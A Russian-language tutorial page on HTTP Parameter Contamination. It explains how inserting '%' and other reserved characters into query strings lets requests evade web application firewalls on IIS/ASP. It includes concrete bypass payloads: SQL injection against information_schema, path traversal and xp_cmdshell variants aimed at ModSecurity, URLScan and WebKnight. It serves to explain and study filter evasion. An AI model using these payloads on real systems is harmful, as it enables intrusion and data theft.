Хелпикс

Главная

Контакты

Случайная статья





[0x03b] - HTTP ParameterContamination



[0x03b] - HTTP ParameterContamination

В основе HTTP ParameterContamination (HPC) лежит инновационный подход, найденный в ходе более глубокого исследования HPP и использования странного поведения компонентов веб-серверов, веб-приложений и браузеров в результате замусоривания параметров строки запроса зарезервированными или не ожидаемыми символами.

Некоторые факты:

  • Термин «строка запроса» обычно относится к части URI, находящейся между "? " и концом URI.
  • В RFC 3986 «строка запроса» определяется как последовательность пар поле-значение.
  • Пары разделяются симолами " & " или "; "
  • RFC 2396 определяет следующие классы символов:
    • Незарезервированные: a-z, A-Z, 0-9 and _. ! ~ * ' ()
    • Зарезервированные: ; /? : @ & = + $,
    • Нецелесообразные 2: { } | \ ^ [ ] `

Разные веб-сервера по-разному обрабатывают специально сформированные запросы. Можно назвать больше комбинаций серверов, движков и специальных символов, но для примера в этот раз нам хватит.

Строка запроса и ответ веб-сервера (Пример)

Строка запроса

Ответ веб-сервера / GET значения

  Apache/2. 2. 16, PHP/5. 3. 3 IIS6/ASP
? test[1=2 test_1=2 test[1=2
? test=% test=% test=
? test%00=1 test=1 test=1
? test=1%001 NULL test=1
? test+d=1+2 test_d=1 2 test d=1 2


Магическое влияние символа " %" на ASP/ASP. NET

Ключевые слова WAF ASP/ASP. NET
sele%ct * fr%om.. sele%ct * fr%om.. select * from..
; dr%opta%ble xxx ; dr%opta%ble xxx ; droptablexxx
< scr%ipt> < scr%ipt> < script>
< if%rame> < if%rame> < iframe>

#Примеры из реального мира:

1. Обход правила обнаружения SQL-инекции в Mod_Security
(modsecurity_crs_41_sql_injection_attacks. conf)
[Filtered]-----------------------------------------------------------------------------
[SunJun 12 12: 30: 16 2011] [error] [client 192. 168. 2. 102] ModSecurity:
Accessdeniedwithcode 403 (phase 2). Pattern match " \\bsys\\. user_objects\\b"
at ARGS_NAMES: sys. user_objects. [file " /etc/apache2/conf. d
/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks. conf" ] [line
" 110" ] [id " 959519" ]
[rev " 2. 2. 0" ] [msg " Blind SQL Injection Attack" ]
[data " sys. user_objects" ] [severity " CRITICAL" ] [tag
" WEB_ATTACK/SQL_INJECTION" ] [tag " WASCTC/WASC-19" ]
[tag " OWASP_TOP_10/A1" ] [tag " OWASP_AppSensor/CIE1" ]
[tag " PCI/6. 5. 2" ] [hostname " localhost" ] [uri " /" ]
[unique_id " TfT3gH8AAQEAAAPyLQQAAAAA" ]
[End Code]------------------------------------------------------------------------------
Запрещено: http: //localhost/? xp_cmdshell
Пропущено: http: //localhost/? xp[cmdshell

2. ОбходправилаURLScan 3. 1 DenyQueryStringSequences
Запрещено: http: //localhost/test. asp? file=.. /bla. txt
Пропущено: http: //localhost/test. asp? file=. %. /bla. txt

3. Обход AQTRONIX Webknight (WAF для IIS и ASP/ASP. Net)
Запрещено: http: //victim. com/news. asp? id=10 and 1=0/(select top 1
table_name from information_schema. tables)
Пропущено: http: //victim. com/news. asp? id=10 a%nd 1=0/(se%lect top 1
ta%ble_namefr%ominfo%rmation_schema. tables)

 

Отсюда видно, что Webknight использует фильтрацию по ключевым словам. Но мы используем " HTTP contamination", вставляя " %" в ключевые слова SQL, которые WAF пропускает. В результате он пересылает на веб-сервер следующую команду:

id=10 and 1=0/(selecttop 1 table_namefrominformation_schema. tables) поскольку " %" является символом-пустышкой для ASP/ASP. Net.

Техники взлома подобного вида всегда интересны, поскольку открывают новые перспективы для исследований проблем безопасности. Множество приложений оказываются уязвимыми к подобным атакам, поскольку для причуд веб-серверов не существует строгих правил.

HPC можно использовать, чтобы расширить HPP-атаку на платформе IIS/ASP, скрывая настоящее имя параметра в строке запроса с помощью символа " %", если WAF блокирует HPP.



  

© helpiks.su При использовании или копировании материалов прямая ссылка на сайт обязательна.